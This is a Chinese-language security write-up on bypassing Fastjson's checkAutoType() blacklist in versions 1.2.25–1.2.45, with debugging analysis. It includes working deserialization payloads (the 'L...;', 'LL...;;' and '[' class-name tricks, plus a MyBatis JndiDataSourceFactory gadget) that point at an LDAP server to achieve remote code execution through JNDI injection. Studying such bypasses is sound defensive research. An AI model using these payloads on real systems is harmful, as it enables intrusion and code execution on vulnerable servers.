Fastjson1_2_x-1_2_45补丁Bypass

在1.2.24之后的版本中,使用了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。

网上一些文章讲的都是针对特定版本的补丁绕过,其实实际上并不只是针对该特定版本,而是针对从1.2.25开始的一系列版本

PS:需开启AutoTypeSupport才能成功。

0x01 hash黑名单

通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用。

从1.2.42版本开始,Fastjson把原本明文的黑名单改成了哈希过的黑名单,目的就是为了防止攻击者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

这里具体名单就不放出,链接已放

0x02 1.2.25-1.2.41补丁绕过

绕过利用

本地fastjson用的是1.2.41版本。

这里Demo还是用的上一篇文章基于JdbcRowSetImpl的利用链的PoC。

直接运行的话会报错,原因就是checkAutoType()函数中的黑名单过滤了”com.sun.”

图片

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

上面这里直接给出payload
关键PoC为:Lcom.sun.rowset.JdbcRowSetImpl;

注意是要开启AutoTypeSupport的,添加以下代码就ok了:

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

(加在JNDIClient也就是客户端)
直接运行即可绕过checkAutoType()黑名单实现弹计算器

图片

调试分析

我们注意到,PoC和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤

我们将断点打在checkAutoType()函数上,调试跟进去,”Lcom.sun.rowset.JdbcRowSetImpl;”类名由于是以”L”开头,因此并不在denyList黑名单中,从而绕过了黑名单校验,再往下开始调用TypeUtils.loadClass()

图片

图片

跟进TypeUtils.loadClass()函数,这里我们在之前的文章中年已经调试分析过了,也提示过了,就是会有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此能成功绕过

图片

图片

0x03 1.2.25-1.2.42补丁绕过

绕过利用

先直接给出payload:

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC为:LLcom.sun.rowset.JdbcRowSetImpl;;
在1.2.22-1.2.42版本运行都能成功触发:

图片

调试分析

自1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单

在checkAutoType()函数中,通过调试发现这段代码会对”L”开头和”;”结尾的类名进行一次提取操作

图片

图片

但由于只进行一次提取操作,因此可以通过添加两次的方式来绕过后面的黑名单校验。

后面的代码,是对提取出来的className即Lcom.sun.rowset.JdbcRowSetImpl;进行denyList黑名单过滤,也就顺利绕过了。

注意下,在后面调用TypeUtils.loadClass()函数时,传入的是我们输入的LLcom.sun.rowset.JdbcRowSetImpl;;

图片

图片

为何添加了两次的类名也能成功触发呢?我们跟进TypeUtils.loadClass()函数中可以发现,在”L”和”;”之间提取出类名后,会再次调用自身函数loadClass(),也就是说只要检测出”L”开头和”;”结尾的字符都会调用自身来循环提取出真正的类名

图片

图片

0x04 1.2.25-1.2.43补丁绕过

绕过利用

直接给出payload:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC:[com.sun.rowset.JdbcRowSetImpl
但是如果我们一开始payload直接这样写是会报错的:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

报错信息如下,显示期待在42列的位置接受个”[“符号,而42列正好是第一个逗号”,”前一个位置:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

因此改下payload,在第一个逗号前面加个”[“

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

继续报错,显示期待在43列的位置接受个”{“符号,而43列正好是紧跟在新加的”[“字符的后一个位置

1
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

因此就修改得到最终版payload,能够成功触发

调试分析

调试发现,在checkAutoType()函数中,修改的是直接对类名以”LL”开头的直接报错

图片

但是以”[“开头的类名自然能成功绕过上述校验以及黑名单过滤。

继续往下调试,在TypeUtils.loadClass()函数中,除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外,在其前面还有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类:

图片

图片

解析完返回的类名是”[com.sun.rowset.JdbcRowSetImpl”,通过checkAutoType()函数检测之后,到后面就是读该类进行反序列化

图片

图片

在反序列化中,调用了DefaultJSONParser.parseArray()函数来解析数组内容,其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等,前面一开始尝试的几个payload报错的原因正是出在这里

图片

把这些条件一一满足后,就能成功利用了

0x05 1.2.25-1.2.45补丁绕过

绕过利用

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

直接给出payload,要连LDAP或RMI都可以:

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

关键PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

主要就是黑名单绕过,这个类我们在哈希黑名单中1.2.46的版本中可以看到

运行即可成功触发

调试分析

调试checkAutoType()函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常:

图片

图片

后面由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过checkAutoType()函数的检测。

继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。

由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。

直接在该setter方法打断点,可以看到会调用到这来,这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup(),其中参数由我们输入的properties属性中的data_source值获取的

图片

图片

之后就是由JNDI注入漏洞成功触发Fastjson反序列化漏洞了。

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<init>:10, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
newInstance:383, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
setProperties:56, JndiDataSourceFactory (org.apache.ibatis.datasource.jndi)
deserialze:-1, FastjsonASMDeserializer_1_JndiDataSourceFactory (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
main:8, JdbcRowSetImplPoc